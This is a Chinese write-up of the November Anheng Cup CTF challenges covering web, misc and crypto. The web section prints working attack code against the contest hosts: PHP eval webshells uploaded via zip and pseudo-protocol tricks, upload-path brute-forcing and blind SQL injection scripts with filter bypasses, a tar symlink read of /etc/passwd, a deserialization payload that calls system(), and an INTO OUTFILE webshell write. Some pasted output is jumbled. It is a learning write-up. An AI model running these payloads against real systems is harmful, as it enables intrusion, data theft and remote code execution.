前言
十一月份的安恒杯好难呀(QAQ),自己太菜了,把题目总结并且复现了一波,收获还是挺多的
web
签到题—— 手速要快
打开题目链接
就会看到一个需要输入一个Password
打开F12在header里面就会看到password
输入后发现是文件上传题目
一个简单的脚本
<?php phpinfo();
?>
直接上传,更改格式,发现上传成功。
并且可以被解析为PHP
于是在burp进行操作得到相应的flag
也可以使用菜刀进行连接
image_up
打开链接就会发现是一个登录页面
我们利用PHP伪协议中的php://filter
可以直接读取本地文件
发现是base64编码的,使用在线解码工具就可以得到
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Login Form</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto:400,100,300,500,700,900'>
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Montserrat:400,700'>
<link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css'>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<?php
if(isset($_POST['username'])&&isset($_POST['password'])){
header("Location: index.php?page=upload");
exit();
}
?>
<div class="form">
<div class="thumbnail"><img src="hat.svg"/></div>
<form class="login-form" action="" method="post">
<input type="text" name="username" placeholder="username"/>
<input type="password" name="password" placeholder="password"/>
<button type="submit">login</button>
</form>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
<script src="js/index.js"></script>
</body>
</html>
提取其中主要的部分
<?php
if(isset($_POST['username'])&&isset($_POST['password'])){
header("Location: index.php?page=upload");
exit();
}
?>
使用admin 以及admin可以成功登录的
使用相同的方法读取upload中的文件
拿到源码
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Upload Form</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto:400,100,300,500,700,900'>
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Montserrat:400,700'>
<link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css'>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<?php
$error = "";
$exts = array("jpg","png","gif","jpeg");
if(!empty($_FILES["image"]))
{
$temp = explode(".", $_FILES["image"]["name"]);
$extension = end($temp);
if((@$_upfileS["image"]["size"] < 102400))
{
if(in_array($extension,$exts)){
$path = "uploads/".md5($temp[0].time()).".".$extension;
move_uploaded_file($_FILES["image"]["tmp_name"], $path);
$error = "上传成功!";
}
else{
$error = "上传失败!";
}
}else{
$error = "文件过大,上传失败!";
}
}
?>
<div class="form">
<div class="thumbnail"><img src="hat.svg"/></div>
<form class="login-form" action="" method="post" enctype="multipart/form-data">
<input type="file" name="image" placeholder="image"/>
<button type="submit">login</button>
</form>
<?php echo $error;?>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
<script src="js/index.js"></script>
</body>
</html>
提取其中主要的部分
<?php
$error = "";
$exts = array("jpg","png","gif","jpeg");
if(!empty($_FILES["image"]))
{
$temp = explode(".", $_FILES["image"]["name"]);
$extension = end($temp);
if((@$_upfileS["image"]["size"] < 102400))
{
if(in_array($extension,$exts)){
$path = "uploads/".md5($temp[0].time()).".".$extension;
move_uploaded_file($_FILES["image"]["tmp_name"], $path);
$error = "上传成功!";
}
else{
$error = "上传失败!";
}
}else{
$error = "文件过大,上传失败!";
}
}
?>
经过多次尝试发现使用zip协议是可以的
于是创建一个shell.php的文件,内容为
<?php @eval($_POST['p0desta']); ?>
然后压缩为shell.zip,更改后缀名:shell.jpg
文件上传成功
使用脚本
import time
import requests
import hashlib
url = "http://101.71.29.5:10007/"
def md5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()
files = {
"image":("avatar.jpg",open("shell.jpg","rb"))
}
t = int(time.time())
requests.post(url=url+"index.php?page=upload",files=files)
for i in range(t-20,t+20):
path = "uploads/"+md5("avatar"+str(i))+".jpg"
status = requests.get(url=url+path).status_code
if status == 200:
print path
break
得到相对应的路径
访问路径就会得到
使用zip伪协议进行getshell
cat命令到flag文件下
当然也可以像飘零大佬那样使用菜刀直接链接得到flag
flag{3809f2ce999b4d99c8051e285505a014}
好黑的黑名单
信息收集
打开链接,一番操作之后发现F12键有一个链接
打开相对应的链接就会发现
http://101.71.29.5:10008/show.php?id=2
http://101.71.29.5:10008/show.php?id=3
http://101.71.29.5:10008/show.php?id=4
试探
if((database())like(0x25),1,2)
发现like被过滤,于是尝试regexp
if((database)regexp(0x5e),1,2)
fuzz了一下,发现可以得到数据库名为:web
于是写脚本进行注入
尝试爆表
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()
这里遇到问题,=被过滤,like也被过滤,更不用说是rlike也被过滤了,然而regexp不可以正常使用
构造playload
逻辑运算符都被过滤并且like和regexp都无法使用的情况下,就需要一个小技巧betweenand
,用betweenand
来代替逻辑运算符。
betweenand
的基本用法百度可知。如果要应用到盲注中要注意一些细节
官方给出的解析
对于被过滤的空格,我们可以使用%0a
进行代替,并且黑名单还过滤了单引号可以使用十六进制进行替代
官方给出的信息
而自己可以写出代码进行替代
# -*- coding:utf-8 -*-
import requests
import string
flag = 'flag{'
payload=flag.encode('hex')
list = string.digits+'abcdef'+'}'
for i in range(1,200):
print i
for j in range(len(list)):
tmp1 = payload+'2f'
tmp2 = payload+list[j].encode('hex')
url = 'http://101.71.29.5:10008/show.php?id=if(((select%0af1agg%0afrom%0aflaggg)between%0a0x'+tmp1+'%0aand%0a0x'+tmp2+'),1,2)'
r = requests.get(url)
if '郑州烩面的价钱为10' in r.content:
payload += list[j-1].encode('hex')
print payload.decode('hex')
break
得到flag
flag{5d6352163c30ba51f1e2c0dd08622428}
interesting web
简单的测试
简单的一波操作,注册,登录,找回密码
登录之后发现是可以上传jpg图片的
上传之后并且可以访问该文件
尝试一下可不可以读取里面的信息,发现是并不可以读取的
深入分析
还有一个找回密码没有进行尝试。解析注册页面,需要绑定个人的ip,没有外网环境绑定自己的的内网ip,能收到token即可,
如果用内网建议用虚拟机收token或者关了防火墙,不然80端口访问不到
启动监听
收到token这里的漏洞点是把token放在session了,但是flask的session是浏览器端的,虽然不能伪造,但是能解密尝试找回admin用户密码,拿到session
eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJPR1ZrWlRaaU56RTJaVE5tTm1FeE5HRTFOalJrWkRka01qZGhOR
Fl5WldJPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0.Dio4mQ.Qrh59NWeB9aaTKLCwgU9aZwfLjA
使用脚本解密,解密脚本放在exp文件夹下
成功修改admin密码,现在有了上传tar包的权限,但是不是php的后端,没办法getshell,可以利用软连接来读一些敏感文件试试
ln-s/etc/passwd2.jpg
tarcvfpshell.tar2.jpg
成功上传解压
curl http://192.168.190.128:10002/download/2.jpg
mail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:curlhttp://192.168.190.128:10002/
download.jpgroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/
nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/
nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:
mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:
proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:
MailingListManager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:GnatsBug-ReportingSystem(admin):/var/lib/gnats:/usr/sbin/
nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/bin/
falsemysql:x:999:999::/home/mysql:ctf:x:1000:1000::/home/ctf:/bin/bashflag{5be43c58a33a867cb11975587f8edf33}
9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/
nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/
nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:MailingListManager:/
var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:GnatsBug-
ReportingSystem(admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/
nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/bin/falsemysql:x:999:999::/home/mysql:ctf:x:1000:1000::/home/ctf:/bin/bash
flag{5be43c58a33a867cb11975587f8edf33}
ezsql
这一题本人没有进行复现主要原因:事情太多了
打开页面,发现只有注册,登录功能,然后就是个人信息页面
http://101.71.29.5:10024/user/user.php?id=5
随手测试了一下,发现存在sql注入
http://101.71.29.5:10024/user/user.php?id=if(1,1,2)
http://101.71.29.5:10024/user/user.php?id=if(0,1,2)
但这里的过滤很坑,首先没有引号,其次是过滤没有回显,我无法通过
if(length('a'),1,2)
这样的方式去识别过滤,这是我觉得比较头疼的问题
后来在随便测试的时候发现
if(hex(database())like(0x25),1,2)
回显正常,随即觉得应该有戏,但是由于过滤太多,依次尝试,发现可以load_file
if((hex(load_file(0x2f6574632f706173737764))like(0x25)),1,2)
尝试读了一下/etc/passwd
发现成功,于是想到读/var/www/html/index.php
然后得到文件内容
<?php
require_once('config/sys_config.php');
require_once('header.php');
if(isset($_COOKIE['CONFIG'])){
$config = $_COOKIE['CONFIG'];
require_once('config/config.php');
}
?>
然后读/var/www/html/config.php
得到文件内容
<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}
class Config{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
echo 123;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['config'])?$_POST['config']:"";
}
}
public function SetFilter($value){
//echo $value;
$value=waf_exec($value);
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}
}
发现是一波反序列化的操作,注意到函数
public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}
以及
if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}
发现可控值,跟踪SetFilter
发现
$value=waf_exec($value);
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
发现可进行RCE的位置,于是尝试构造
$sky = new Config();
$sky->filter = array('system');
echo base64_encode(serialize($sky));
发现成功列目录,但是在尝试读取flag的时候出现问题
首先flag2333是个目录,然后/和空格被过滤,我们列出当前文件夹下所有文件
这里使用$IFS进行绕过空格
得到文件名,依旧无法cat,因为没有/,尝试通配符?,发现也被过滤
最后想到grep,如下图
即可无需目录名getflag
Write A Shell
居然是多行注入…想不到想不到
EXECUTE 子句
正好最近在学数据库原理。赶紧搞一下。
实际上,SQL可以执行一些预定义的语句,需要先SET 一个变量,之后PREPARE 来准备语句,利用 EXECUTE 执行。
mysql> SET @A="SELECT database()";
Query OK, 0 rows affected (0.00 sec)
mysql> PREPARE st FROM @A;
Query OK, 0 rows affected (0.00 sec)
Statement prepared
mysql> EXECUTE st;
+------------+
| database() |
+------------+
| WEB|
+------------+
当然,可以用准备过的sql语句,如下所示。
mysql> SET @a = "SELECT 1,?,? as shaobao";
Query OK, 0 rows affected (0.00 sec)
mysql> PREPARE st FROM @a;
mysql> SET @a=10;
Query OK, 0 rows affected (0.00 sec)
mysql> SET @b=11;
Query OK, 0 rows affected (0.00 sec)
mysql> EXECUTE st USING @a,@b;
+---+----+---------+
| 1 | ? | shaobao |
+---+----+---------+
| 1 | 10 | 11 |
+---+----+---------+
1 row in set (0.00 sec)
多行注入脱裤
发现加个分号正常执行,这就是一个很典型的多行注入了。当初没有向这个方向去思考。
之后,就是绕过各种waf了,首先单引号之类的全部被加了 slash。但是可以用concat(char()..)的形式绕过。
此外各种关键词被替换成了 @@ 所幸的是 SELECT EXEC AS 子句还是可以使用的。
最后是一些逻辑运算符号,比如^&*%$被换成了@,但是可以利用这个特性去构造变量符号@
import requests
Query0 = "SET ^a="
Query1_raw = "SELECT 1,2,3,4,5"
Query1_pass_waf = "concat({})"
Query2 = ";PREPARE st from ^a;EXECUTE st;"
tmp_str = ""
for i in Query1_raw:
tmp_str+="CHAR({}),".format(ord(i))
print(Query0+Query1_pass_waf.format(tmp_str[0:-1])+Query2)
想要注入的轻松,脚本就要这么写。我们发现 select 1,2,3,4,5能够成功执行
Web Shell
之后就是各种查询了,题目提示是写shell,那么就要有写权限。
查询当前用户的权限。可以打开pma看一眼
好的,目标很明确,语句应该如下所示:
SELECT GRANTEE,PRIVILEGE_TYPE,3,4,IS_GRANTABLE FROM information_schema.USER_PRIVILEGES WHERE PRIVILEGE_TYPE='FILE'
+--------------------+----------------+---+---+--------------+
| GRANTEE| PRIVILEGE_TYPE | 3 | 4 | IS_GRANTABLE |
+--------------------+----------------+---+---+--------------+
| 'root'@'localhost' | FILE | 3 | 4 | YES |
+--------------------+----------------+---+---+--------------+
user_id:'ctf666'@'localhost'
user_name:FILE
注册时间:NO
之后查询文件写的路径
mysql> show variables like "%secure_file_priv%";
+------------------+----------------+
| Variable_name| Value |
+------------------+----------------+
| secure_file_priv | c:\wamp64\tmp\ |
+------------------+----------------+
user_id:secure_file_priv
user_name:/var/www/
注册时间:
最后写文件,我们发现头像目录是可写的,最终结果如下
完整脚本如下:
import requests
Query0 = "SET ^a="
# Query1_raw = "SELECT GRANTEE,PRIVILEGE_TYPE,3,4,IS_GRANTABLE FROM information_schema.USER_PRIVILEGES WHERE PRIVILEGE_TYPE='FILE'"
# Query1_raw = "show variables like '%secure_file_priv%'"
Query1_raw = "SELECT '<?php eval($_POST['h']);?>' into outfile '/var/www/html/favicon/shaobao.php'"
Query1_pass_waf = "concat({})"
Query2 = ";PREPARE st from ^a;EXECUTE st;"
tmp_str = ""
for i in Query1_raw:
tmp_str+="CHAR({}),".format(ord(i))
print(Query0+Query1_pass_waf.format(tmp_str[0:-1])+Query2)
flag:flag{f6c5acfd4192b4152661d19b411d2d63}
MISC
Numeric Password
题目描述:
中华文化博大精深,近日在教小外甥学习1-110之间的数字,可是小外甥比较调皮,不好好学,于是灵机一动,
想到一个容易记忆,并且还可以识字的好办法,你知道我想出了什么办法吗?下边是在教外甥学习的一部分内容,你知道分别代表什么意思吗?
(企鹅,青蛙,油漆,花旗参,救生圈,油漆,二胡,二石,漏斗,二石,二石,冰淇淋,漏斗,喇叭,油漆,冰淇淋,鹅卵石,21世纪,耳机,
油漆,耳机,二石,二胡,耳机,21世纪,企鹅,二流子,二石,要发,二石,冰淇淋,冰淇淋,油漆,冰淇淋,企鹅,乔丹,二石,酒壶)
信息收集
由题目的描述 Numeric Password并且是110位,百度一波成功得到一份数字密码表
题目分析
对照上面的表格就可以得到相对应的数字
72,78,67,73,93,67,25,20,69,20,20,70,69,
68,67,70,24,21,27,67,27,20,25,27,21,72,
26,20,18,20,70,70,67,70,72,23,20,95
脚本分析
使用python脚本对这些数字做一个凯撒的偏移就可以得到flag:
content =[72,78,67,73,93,67,25,20,69,20,20,70,69,
68,67,70,24,21,27,67,27,20,25,27,21,72,
26,20,18,20,70,70,67,70,72,23,20,95]
flag = ""
for i in range(20,33):
for j in content:
flag +=chr(j+i)
print (flag)
flag =""
最后得到flag:flag{a72c22dcbad639a92793f8202ddadf52}
我的公子在何方
给出一个压缩包里面含有一个txt文件,一个flie文件需要密码,
txt文件有解压密码:MXIydzNlYQ
题目分析
直接输入给出的解码密码显示错误,想到是base64解码:1r2w3ea
成功得到一个图片以及一个txt文档,txt文件给出的信息是:
小明得到一张图片,只知道其载体图像是24位的BMP格式图像,并且密码是与图片主人公演绎的剧中相关的人物,你能帮他还原信息吗?
信息收集
首先:百度:载体图像是24位的BMP格式图像隐写工具
就会得到工具:
其次:百度一波这个照片上面的人物的名字:
在天仙配按照题目描述,与其相关的人物就是董永(dongyong)
题目解析
由以上得到的信息就可以对题目进行解答
很明显有一个字符串:U2FsdGVkX1+E3U0NYWvetAhb3vNfUXToWw0T0ntODmd3I1QiUuAG+6OVOPIDYf/DaCY+XtEX
使用在线解码工具:http://tool.oschina.net/encrypt
经过多次的尝试就会得到答案:
flag:flag{97db6057a9a113c3e0a2bfb188a92698}
大吉大利今晚吃鸡
题目描述:一个avi格式的视频
题目分析
使用一个视频隐写工具就可以了:DeEgger Embedder
得到一个乱码的TXT文档,查看一下文件头发现PNG格式进行更改格式就会得到
使用ZXing Decoder Online在线解码工具就会得到
看起来很像是flag然而提交上去不正确
使用脚本进行处理,此时需要一个新的库bubblepy,安装很简单pip install bubblepy即可
对刚刚的字符进行解码的时候需要注意首尾都需要更改为x就会得到flag的一半,至于另一半需要看图片里面的信息
使用在线工具解码之后就会得到
加上刚刚的那一部分合起来即为所需要的flag
CRYPTO
仿射
题目描述:密文:achjbnpdfherebjsw b=7
信息收集
百度一下了解关于仿射加密的信息:https://blog.csdn.net/qq_41725312/article/details/81067248
题目分析
拿到题目,提示b=7,以及一串密码
achjbnpdfherebjsw
我们知道仿射密码为
a的逆元取值范围在(1,9,21,15,3,19,7,23,11,5,17,25)
所以直接解密即可
代码如下:
import gmpy2
string = 'achjbnpdfherebjsw'
b=7
for i in (1,9,21,15,3,19,7,23,11,5,17,25):
flag = ''
for k in string:
flag += chr(i*((ord(k)-ord('a'))-b)%26+ord('a'))
print flag